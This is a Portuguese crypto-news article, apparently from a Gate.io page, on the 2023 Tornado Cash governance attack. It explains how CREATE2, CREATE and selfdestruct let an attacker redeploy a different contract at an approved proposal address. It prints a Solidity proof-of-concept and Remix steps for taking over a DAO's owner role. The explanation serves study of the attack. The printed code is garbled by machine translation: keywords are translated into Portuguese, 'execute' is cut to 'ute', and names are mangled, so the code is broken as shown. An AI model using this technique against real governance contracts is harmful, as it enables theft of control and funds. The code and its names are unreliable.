Ataque de governança Tornado: como implantar contratos diferentes no mesmo endereço

Cerca de duas semanas atrás (20 de maio), o conhecido protocolo de mistura de moedas Tornado Cash sofreu um ataque de governança e os hackers ganharam o controle (proprietário) do contrato de governança da Tornado Cash.

O processo de ataque é o seguinte: o invasor primeiro envia uma proposta de "aparência normal" e, após a aprovação da proposta, destrói o endereço do contrato a ser executado pela proposta e recria um contrato de ataque no endereço.

Para o processo de ataque, você pode visualizar a análise do princípio de ataque da proposta Tornado.Cash da SharkTeam [1] 。

A chave para o ataque aqui é implantar diferentes contratos no mesmo endereço. Como isso é feito?

conhecimento prévio

Existem dois opcodes no EVM para criar contratos: CREATE e CREATE2.

CRIAR código de operação

Ao usar new Token() para usar o opcode CREATE, a função de cálculo do endereço do contrato criado é:

endereço tokenAddr = bytes20(keccak256(senderAddress, nonce))

O endereço do contrato criado é determinado por creator address + creator Nonce (número de contratos criados), pois o Nonce sempre aumenta gradativamente, quando o Nonce aumenta, o endereço do contrato criado é sempre diferente.

CREATE2 opcode

Ao adicionar um salt new Token{salt: bytes32()}(), o opcode CREATE2 é usado e a função de cálculo do endereço do contrato criado é:

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

O endereço do contrato criado é endereço do criador + sal personalizado + bytecode do contrato inteligente a ser implantado, portanto, apenas o mesmo bytecode e o mesmo valor de sal podem ser usados Pode ser implantado para o mesmo endereço de contrato.

Então, como diferentes contratos podem ser implantados no mesmo endereço?

Método de ataque

O invasor usa Create2 e Create juntos para criar o contrato, conforme mostrado na figura:

Código referenciado de:

Primeiro, use Create2 para implantar um Deployer de contrato e, em seguida, use Create no Deployer para criar a proposta de contrato de destino (para uso de proposta). Ambos os contratos de Implantador e Proposta possuem implementações de autodestruição (selfdestruct).

Após a aprovação da proposta, o invasor destrói os contratos do Implantador e da Proposta e, em seguida, recria o Implantador com o mesmo slat. ser obtido, mas neste momento o Deployer O estado do contrato é limpo e o nonce começa em 0, então outro ataque de contrato pode ser criado usando este nonce.

Exemplo de código de ataque

Este código é de:

// SPDX-License-Identifier: MIT solidez de pragma ^0.8.17; contrato DAO { struct Proposta { alvo do endereço; booleano aprovado; bool utado; } endereço public owner = msg.sender; Proposta[] propostas públicas; função aprovar(alvo do endereço) externo { require(msg.sender == proprietário, "não autorizado"); propostas.push(Proposta({alvo: alvo, aprovado: verdadeiro, aprovado: falso})); } function ute(uint256 offerId) pagável externo { Proposta de armazenamento de proposta = propostas [proposalId] ; require(proposta.aprovada, "não aprovada"); require(!proposta.uted, "uted"); proposta.uted = verdadeiro; (bool ok, ) = proposta.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "falha na chamada do delegado"); } } Proposta de contrato { log de eventos (mensagem de string); função uteProposta() externa { emit Log("Código executado aprovado pelo DAO"); } função EmergencyStop() externo { selfdestruct(pago(endereço(0))); } } ataque de contrato { log de eventos (mensagem de string); dirigir-se ao proprietário público; função uteProposta() externa { emit Log("Código executado não aprovado pelo DAO :)"); // Por exemplo - definir o proprietário do DAO como atacante proprietário = msg.remetente; } } contrato Implantador Implantador { log de eventos (endereço addr); função implantar () externo { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emitir Log(addr); } } contratante Deployer { log de eventos (endereço addr); function deployProposal() externo { endereço addr = endereço(new Proposta()); emitir Log(addr); } function deployAttack() externo { endereço addr = endereço(novo Ataque()); emitir Log(addr); } função kill() externa { selfdestruct(pago(endereço(0))); } }

Você pode usar este código para percorrê-lo sozinho no Remix.

  1. Primeiro implante o DeployerDeployer, chame DeployerDeployer.deploy() para implantar o Deployer e, em seguida, chame Deployer.deployProposal() para implantar a proposta.
  2. Depois de obter o endereço do contrato da proposta, inicie uma proposta ao DAO.
  3. Chame Deployer.kill e Proposal.emergencyStop, respectivamente, para destruir Deployer e Proposal
  4. Chame DeployerDeployer.deploy() novamente para implantar o Deployer, chame Deployer.deployAttack() para implantar o Ataque e o Ataque será consistente com a Proposta anterior.
  5. Ao executar DAO.ute, o ataque obteve a permissão do Proprietário do DAO.
Ver original
O conteúdo é apenas para referência, não uma solicitação ou oferta. Nenhum aconselhamento fiscal, de investimento ou jurídico é fornecido. Consulte a isenção de responsabilidade para obter mais informações sobre riscos.
  • Recompensa
  • Comentário
  • Compartilhar
Comentário
0/400
Sem comentários
  • Marcar
Faça trade de criptomoedas em qualquer lugar e a qualquer hora
qrCode
Escaneie o código para baixar o app da Gate.io
Comunidade
Português (Brasil)
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)